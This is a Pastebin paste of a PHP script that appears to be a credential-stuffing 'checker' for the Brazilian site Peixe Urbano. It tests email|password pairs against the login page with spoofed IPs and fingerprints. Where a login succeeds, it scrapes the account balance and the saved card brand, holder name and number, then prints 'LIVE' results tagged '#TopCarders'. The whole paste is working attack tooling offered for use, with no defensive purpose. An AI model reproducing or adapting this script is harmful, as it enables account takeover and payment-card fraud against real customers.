SHARE
TWEET

api Peixe

ph4x35ccb Nov 8th, 2019 85 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. set_time_limit(0);
  6.  
  7.  
  8.  
  9. class cURL {
  10.  
  11.  
  12.  
  13.     var $callback = false;
  14.  
  15.  
  16.  
  17.     function setCallback($func_name) {
  18.  
  19.         $this->callback = $func_name;
  20.  
  21.     }
  22.  
  23.  
  24.  
  25.     function doRequest($method, $url, $vars) {
  26.  
  27.         $ch = curl_init();
  28.  
  29.         curl_setopt($ch, CURLOPT_URL, $url);
  30.  
  31.         curl_setopt($ch, CURLOPT_HEADER, 0);
  32.  
  33.         curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  34.  
  35.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  36.  
  37.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  38.  
  39.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  40.  
  41.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  42.  
  43.         curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
  44.  
  45.         curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
  46.  
  47.         if ($method == 'POST') {
  48.  
  49.             curl_setopt($ch, CURLOPT_POST, 1);
  50.  
  51.             curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
  52.  
  53.         }
  54.  
  55.         $data = curl_exec($ch);
  56.  
  57.         curl_close($ch);
  58.  
  59.  
  60.  
  61.         if ($data) {
  62.  
  63.             if ($this->callback) {
  64.  
  65.                 $callback = $this->callback;
  66.  
  67.                 $this->callback = false;
  68.  
  69.                 return call_user_func($callback, $data);
  70.  
  71.             } else {
  72.  
  73.                 return $data;
  74.  
  75.             }
  76.  
  77.         } else {
  78.  
  79.             return curl_error($ch);
  80.  
  81.         }
  82.  
  83.     }
  84.  
  85.  
  86.  
  87.     function get($url) {
  88.  
  89.         return $this->doRequest('GET', $url, 'NULL');
  90.  
  91.     }
  92.  
  93.  
  94.  
  95.     function post($url, $vars) {
  96.  
  97.         return $this->doRequest('POST', $url, $vars);
  98.  
  99.     }
  100.  
  101.  
  102.  
  103. }
  104.  
  105.  
  106.  
  107. function GetStr($string, $start, $end) {
  108.  
  109.     $str = explode($start, $string);
  110.  
  111.     $str = explode($end, $str[1]);
  112.  
  113.     return $str[0];
  114.  
  115. }
  116.  
  117.  
  118.  
  119. $listass = explode("\r\n", $_POST['list']);
  120.  
  121. $listin = count($listass) * 2;
  122.  
  123.  
  124.  
  125.  
  126.  
  127. flush();
  128.  
  129. ob_flush();
  130.  
  131. $linha = $_GET["linha"];
  132. $email = explode("|", $linha)[0];
  133. $senha = explode("|", $linha)[1];
  134.  
  135. if (!empty($senha)) {
  136.  
  137.     $nums = '0123456789';
  138.  
  139.  
  140.  
  141.     $ip = mt_rand(111, 999) . '.';
  142.  
  143.     $ip .= mt_rand(111, 999) . '.';
  144.  
  145.     $ip .= mt_rand(111, 999) . '.';
  146.  
  147.     $ip .= mt_rand(111, 999);
  148.  
  149.     $fingerprint = sha1(uniqid());
  150.  
  151.     if (file_exists('cookie.txt')) {
  152.  
  153.         unlink('cookie.txt');
  154.  
  155.     }
  156.  
  157.     $a = new cURL;
  158.  
  159.  
  160.     $b = $a->post('https://www.peixeurbano.com.br/login', 'retURL=https://www.peixeurbano.com.br/Conta/Creditos&email=' . $email . '&password=' . $senha . '&ip=' . $ip . '&client_id=6&fingerprint=' . $fingerprint . '&user_agent=' . $_SERVER['REMOTE_ADDR'] . '&platform=Win32');
  161.  
  162.     $b = utf8_encode($b);
  163.  
  164.  
  165.  
  166.     if (strpos($b, '<span id="total-credit-1" class="ST-value">')) {
  167.  
  168.         $credito = GetStr($b, '<span id="total-credit-1" class="ST-value">', '</span>');
  169.  
  170.         $c = $a->get('https://www.peixeurbano.com.br/Conta/CartaoCredito');
  171.  
  172.         $c = utf8_encode($c);
  173.  
  174.         if (strpos($c, '<td class="cc-brand">')) {
  175.  
  176.             $cc = GetStr($c, '<td class="cc-brand">', '</td>');
  177.  
  178.             $ccname = GetStr($c, '<td class="cc-holder-name">', '</td>');
  179.  
  180.             $creditso = GetStr($c, '<td class="cc-number">', '</td>');
  181.  
  182.             if ($cc == 'VISA'){
  183.  
  184.                 $cc = ' Visa';
  185.  
  186.             } else if ($cc == 'MasterCard'){
  187.  
  188.              $cc = ' MasterCard';
  189.  
  190.          } else if ($cc == 'AMEX'){
  191.  
  192.              $cc = ' Amex';
  193.  
  194.          } else if ($cc = 'Amex'){
  195.  
  196.             $cc = ' Amex';
  197.  
  198.          } else {
  199.  
  200.             $cc = $cc;
  201.  
  202.          }          
  203.  
  204.      } else {
  205.  
  206.         $cc = ' Cartao: Sem Cartao';
  207.  
  208.     }
  209.  
  210.     echo "LIVE → $email|$senha | Nome: $ccname | Saldo : $credito | Bandeira: $cc | Cartão: $creditso #TopCarders";
  211.  
  212.     flush();
  213.  
  214.     ob_flush();
  215.  
  216. } else {
  217.  
  218.     echo "DIE → $email|$senha";
  219.  
  220.     flush();
  221.  
  222.     ob_flush();
  223.  
  224. }
  225.  
  226. } else {
  227.  
  228.  echo "DIE → $email|$senha";
  229.  
  230. }
  231.  
  232. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top